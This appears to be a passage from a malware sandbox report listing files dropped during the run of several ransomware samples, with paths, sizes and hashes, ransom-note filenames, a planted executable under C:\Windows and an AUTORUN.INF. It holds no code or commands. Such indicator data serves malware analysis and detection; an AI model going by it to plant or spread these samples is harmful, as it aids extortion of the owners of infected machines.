                                                                                                                                                                                                                                                                                                                                                                  f1db5ff3aa47cbc8f0ac96946024d34c

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  3d91ef651941c5a59db26937f27c8e473ae19c95

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  7ef5d52f3932900ab7df61a8f7406965279af4a0865ec28c333b75d65b8793cb

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  6a3aaf9e9efb29a7f472b4753994fc789eb7c8cfa3c75ff2b1b77a60045f5820ef9175e1b20b78cd573bb0b3ca41c85f8b6dd2bf5b05eb82ad6eb35d8f391bb0

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Convagent.gen-a9d592579e11f43dd46c7132cede4802aeebae10bd367efd41d6c98a5f9e486c.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  3.9MB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  e21ed6f6b8b03c15e38f695f3d4858ae

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  c69ecdc24d79907e265b69412f7dbc979c953100

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  a9d592579e11f43dd46c7132cede4802aeebae10bd367efd41d6c98a5f9e486c

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  c14249379060d90910e78ca6f61005d30f22bc6dbd81e287db9b741b14c4a61eeaed1c945eb03d947617542086be4a60e9bcb3cc61fff026a6a8205d4a57e4a5

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Cryakl.gen-2bb2343ed57adb4b139cafaa10e91ac0c82a0f66d21de32cb012b775f3fe1a21.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  1.9MB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  0f65d009d42c33796e5abc24a4f4c3ed

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  4bb31cb2e16a186e8a4e97235ab7efb97220aee0

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  2bb2343ed57adb4b139cafaa10e91ac0c82a0f66d21de32cb012b775f3fe1a21

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  cef3bcec8fe7a9084c21393c0464ec6567de690425baf4bf79938135148e39eea34deeebe3d0b4c2abf50ca1785a55e331a3255b1b6f25f2c7ba81103b704bbb

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Crypmod.gen-5cd3ee5cfb9241ad12e7dae0cd9c2764d91deee58e1a07bb37c544bc8eb57448.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  185KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  79c61832c88cadea79f8ac2603b3d4ee

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  e5a67efa42b39a86aee83edee6f394f2194f6855

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  5cd3ee5cfb9241ad12e7dae0cd9c2764d91deee58e1a07bb37c544bc8eb57448

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  400784af1c9ca8a530d2175f7995b64d76698f0b34f6b59d7263bfb10dad1af52d2ccb64ddefffdb0c5edcee16d682d2486764e0e3354cbec65104b74c4befef

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.GandCrypt.gen-8f7feaeb31f6c6b7056b05a252ac0531a8fbb7488fd26791d0aec433d21c07fd.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  250KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  cb584abdfe3a4fc7341054e1440293af

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  3ac19e036d1444ef65852783657fdfb725b1e9a4

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  8f7feaeb31f6c6b7056b05a252ac0531a8fbb7488fd26791d0aec433d21c07fd

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  eb04f6322945e91381070a353418ec7ae07c619eccde5b43123dcd11204dfdd3721dd380568d0b6d00e7c4ef3b01034242a084da64f14d1880b7fc062286de79

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Generic-81e81f0bbbdb831eda215033b7a7dbf2eed3812f4e58118f181a8e99e613179e.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  416KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  21fa6ebdd397f14bbb68a4e3d012467e

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  0ecff2f818565e7eb28d3a7b7d295459a868e920

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  81e81f0bbbdb831eda215033b7a7dbf2eed3812f4e58118f181a8e99e613179e

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  368e0c8e973f2cf655ea8a69be07b29bc073b2855f6feb9130f5fa8569cfa8d094549ec5d7706c293f8b22ae8bb6ee1b7dd2f4c2d2ccff94e7435e36d966bf66

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Gimemo.gen-09d0890a500d3840c71451ca07f120bbce4fb6eaf293cb805dcc5ecde0c4403c.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  1.7MB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  529d993c4e6f5bc22ac98160f116277e

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  9c5980d80bcbd60158637c708015744dfc9f072c

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  09d0890a500d3840c71451ca07f120bbce4fb6eaf293cb805dcc5ecde0c4403c

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  e68d47f3c68258cd4c80cc79c24602be217e1736ded4cfb5fe3f888e8b5b83afacbd53f5f04e7d91b3c0d94729343106fb0653eec52d0197d5e5e67e07a3f3c3

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.JSWorm.gen-71cafb0417b9467a91e7d710cf6b6fc4f5017fc666de154c34e61725fb21b1c0.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  178KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  03c46006f1ed895a17735b0eab056892

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  62ad969bc2a3af15e79fecbe3847667466882f6e

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  71cafb0417b9467a91e7d710cf6b6fc4f5017fc666de154c34e61725fb21b1c0

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  a0177ac868f4560ad274de86dbd381c2c26d851187c12c98858bdb2a1490cafa9afa68920dea2dc2ea0a90ee90c85b4e52e4c7cc808f190c6c4e596c406b6161

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.PolyRansom.gen-a9022b4592e1f45576b35b0bec7a3756b27688295a3b8386094c0613f4e14314.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  988KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  00a398dc87e4b6ed25f7276b7cad6c43

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  1f3f3aa6c5a325c29e49aa638129fd16a981d6eb

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  a9022b4592e1f45576b35b0bec7a3756b27688295a3b8386094c0613f4e14314

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  30f94f6747c8254ab1d6a1d0df2a6b675e72d2d8104fa70b3573626e5ece9e34bc12503a4fc42582bcd4fc0da0044decc7d931a4440119854d0e61e9b551894c

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Rack.vho-947196ecb0723f7bfe47b7f01a761a0e9bfbe55ae1f23d787eed4727d1e057b9.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  182KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  0f40981a135e9c9c4d09b09257eeba9e

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  a10fd4321c9cc3281a12212d787a2952f4ed08bb

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  947196ecb0723f7bfe47b7f01a761a0e9bfbe55ae1f23d787eed4727d1e057b9

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  320b02834362e2e9d6104b7bb502220d1b55c75b6b82749610ea744bdfa8965a570a8056727ee60f5332fe3272a247499fda73f7d71af6efa32e8c2c8fc3143c

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\SortedData.txt
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  756KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  0edd96ca200304bc2ad3c8da79ed9242

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  a41088354eb9f9b1dac93a9bd0881e1130f5337e

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  dd34d2e1ab15bfb4a8f1616d0ea1a87e0f194630e732ec02f4b737f1c2112d14

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  dbe0f08119833a54f95125181db790831798fb59fd6b4eb8a3c2a41ec823f52513cfc1ddf52f8d5b672b5517a23ceaee3e93ca85c7aa0a95c1d05fa779320d1a

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.cjtx-3917759ae65f10aec4f9d5e5628fead573d8f3b4bba59a8f1fcd6692ec563436.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  316KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  60eaea81c77422b615b2cfd50417c87e

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  950612793a50dac774040a1e99ead2160e63657c

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  3917759ae65f10aec4f9d5e5628fead573d8f3b4bba59a8f1fcd6692ec563436

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  175588b7362ae09a0b575663604c97bd875eacd2b40ab9e945a4fa2f24472708b85c238738c057690551d636cefe9a58e5e4f46371171678a9cd4af3b3d3b559

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.klrp-45167945141c95c5a012feeb0fcfc6667fc43e781cd9e43ab0be4bcc1b9ed6b2.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  176KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  acc02f42f2a109e71906d07f4d6f59c8

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  555d9c19b2a56ff085582b6a08131de0bd0a010b

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  45167945141c95c5a012feeb0fcfc6667fc43e781cd9e43ab0be4bcc1b9ed6b2

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  597e521f80ed1f402db1181b8ec34cef2664183de594992463d57ea97e4f7df998947c9d498c6e528a5bc7e6c28a693f579137f6896201fad082b3d16330f52f

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.lckf-5140c53c5f3e25069731a723d05f52dd3b7e36437ab56c2456b751f229cf1491.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  112KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  7f542542826cd8de17492d0fa34cde9a

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  d9d517fd44b769235c85fb7d37dcdf3e7a04d57f

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  5140c53c5f3e25069731a723d05f52dd3b7e36437ab56c2456b751f229cf1491

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  d2286c1d84368bcff8d0d74c7970bb04b696475d553403a45926cfa5bead1e9b89883936a75a4293a7c7c36b8e05bcf8a98c8453e3cfa98ab90a8f22bde3a87b

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Blocker.mbhj-a7ca204632f7c62e75b02978c62be386b47d4d0741f9bd7d826986cef7ca4304.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  262KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  b9b9378e9deb3b922703660bc2b9456a

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  cf1c7137e479fa8de749a9d115be70f72aee1320

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  a7ca204632f7c62e75b02978c62be386b47d4d0741f9bd7d826986cef7ca4304

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  445c314409b89b3ec99c386e77529173065b55fceaaa7d797ff7efa7a1741028925002f16bd3103ced61ec981f14daacf5685003b75631a3d46e2bd4e090a278

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Cortex.i-11f7bb37dd425150e6b095a8d1f3a347ee83e604302a4d9bb201900e74a81d73.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  879KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  bcd5275b17fa251e764cc654f27a348b

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  ba79b583b6a35dd38f25afd28055cce1835fffd3

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  11f7bb37dd425150e6b095a8d1f3a347ee83e604302a4d9bb201900e74a81d73

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  28fc8eb9d3acc66e85c9c99556eaee496d60c4967a6514a42242c2c5dd10f955e1461e911fef9ac22cf8f0618eecfe4f866d383e2b86dd167a3e3b48dd5680ff

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\Trojan-Ransom.Win32.Crusis.drg-c12472bf9837449057268026463065fc9961ebbd3dc31d91d243392addfade9c.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  409KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  a36f6f92b7f02ef5232b5a2c22a4b45e

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  30c19a15a1c0ec091f6f18c6434b421e35c1e4c6

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  c12472bf9837449057268026463065fc9961ebbd3dc31d91d243392addfade9c

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  2c066257d3d839aec88d33d5b6e3f636e0dcffd29fff9a1ff6d6f417587ccc56e4483e07c5a8a4f014f1d2b6dfcb085c154e8b22108ae5a0023e27342ab0ccbf

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\d
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  14.0MB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  2dd57d8758c2b78d11f02de5ca3ae42a

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  a02662bc1c33eb0eb77b65d70edf522d03a9101a

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  e9629fe2959e8025bea7f61070b20e27cf2af7f1b13aa54660029f7b455f7189

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  0b05fcb16a392c70fcba807b4d4e1c5a555bd0dd94bf2cdd249ceb5525c1f48ea3ec96478f2e18591c1e53e676ca65433710f53ef733959768db531970debf60

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\d.jfm
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  16KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  c93cf266a4a5ba59570b49a30bfbbab0

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  2589d951e0280d658ce81fec838f4722d46028a7

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  1105be0c75cca0a0a2fdd8e35393b2f3856f0a5f223c56139cb1c922ad5dc11c

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  8855a0a6b07d96759e14ec2081a99cb37e4971977ee38ca92157152a99992f7023e0c6749f43a8f8cf5dfede97f8acfcd2e1c72f7eeaeed8d4d8ffae36603907

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\d.jfm
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  16KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  334d6c37f231fa8b9186c10c58f1c561

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  6361b33918824f29d07262bb4e2dcd2a0eb0aee9

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  8fd87f3ae44cd33ece0bc2d83cb994819a9ba91b194ddfb21748046d01e72942

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  2680cfda54f113fcfb93eaab39a19504a0663f4689647ef7f6f07d0d6b25557917794bfe751d6d75b1364310be17f4bcbfafa853845ad33d442bc1a3bf92dd31

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\d.jfm
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  16KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  f8b6b1543ee5a0018ef745c3e27f3afa

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  dc8303e88599cbb4686d6b7eb60c7e3070c448db

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  375fe357d9628a2a9e9850577e0b3014ffff9159d7f327f4a371994f45740251

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  759ea66bb06d6cd2eaaf2ecf6d715d3347fd6d8475e7a62ef4a45b3556ddff18e0a7a2176991cdf526398324d63247081d5a32977e9eebb42c763e34668da88c

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\HELP_ME_RECOVER_MY_FILES.txt
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  907b67d20bf50beb45dbbfd3824cefcc

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  2c2606a5d333817a5dc4129f164cff0a7a5cc85e

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  abae0826431cca4dda8482cf2d2f7a26b835bdd8727ec54ec5806c3db574569e

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  6098d28c8cd2ee74e6ef6022596d97a816337ebd5e01f2889ce7496937e7d4e22ed0b8ac68359ecbfaa4daeae8cf0ec27585da662e86d99fc075a202a4f26c8e

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\YOUR_FILES_ARE_ENCRYPTED.TXT
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  413B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  ad9a93a93a3c387f3f63a97a9d927481

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  8891ead23e82e15cf283b37a801b44fe2f718fe5

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  3a678365cacdb73695b3df18c743b340c6ad801f4caee7985c06798d3894edb4

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  dd87fa36210b9053d4b87b7aaf35767619c50700a6e57f5316cc1659711c3ab13736b486727e9fd63be500e27528839274f2f44ec4d0df8b711ebe5bc8decc62

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\V49050494020\winsvcin32.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  251KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  c3f2dcf697ae8530a0604b67e0881f99

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  bc6639da7081d4c0cfc6c139108570574a87ee51

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  5d232a72c509bb3d17b8a3925604790be4564004510f41eb4eaa3ae823bc84e6

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  94bded3ccc16826d4c704710eddccd880d1a796cf7acc2982788554c2dd341104376840e3d91a8237a685a29022f0f168e98f65c12e26c2bc26f33890f79542a

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • F:\$RECYCLE.BIN\S-1-5-21-940901362-3608833189-1915618603-1000\YIPBAPHO-DECRYPT.txt
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  1fdf4cc34d51031d2c60a2a2bacbe909

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  cc287a20b08a4d4f3aa0d83267000cb2d0a362c3

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  a4c86cace7d26a033230ba85ff2788586731c6d498f2a002304a4322d4f48c6f

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  9ee8aa61f991510b809d073fc0a34bf9a9024ce69306453c6fdcaa4bfd36416380a248113118147e859671ee9f7b5e2dfd40f7d7d4ffe12fdc95b418e4235f30

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • F:\$RECYCLE.BIN\S-1-5-21-940901362-3608833189-1915618603-1000\desktop.ini
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  129B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • F:\AUTORUN.INF
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  145B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  ca13857b2fd3895a39f09d9dde3cca97

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  8b78c5b2ec97c372ebdcef92d14b0998f8dd6dd0

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  cfe448b4506a95b33b529efa88f1ac704d8bdf98a941c065650ead27609318ae

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  55e5b5325968d1e5314527fb2d26012f5aae4a1c38e305417be273400cb1c6d0c22b85bddb501d7a5720a3f53bb5caf6ada8a7894232344c4f6c6ef85d226b47

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • \??\c:\users\admin\desktop\00380\trojan-ransom.win32.crypren.agpe-4eac200afdbf3ed368074c0a544bfdbbe0b33f9366905a2b0bd0a51aa1c65477.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  296KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

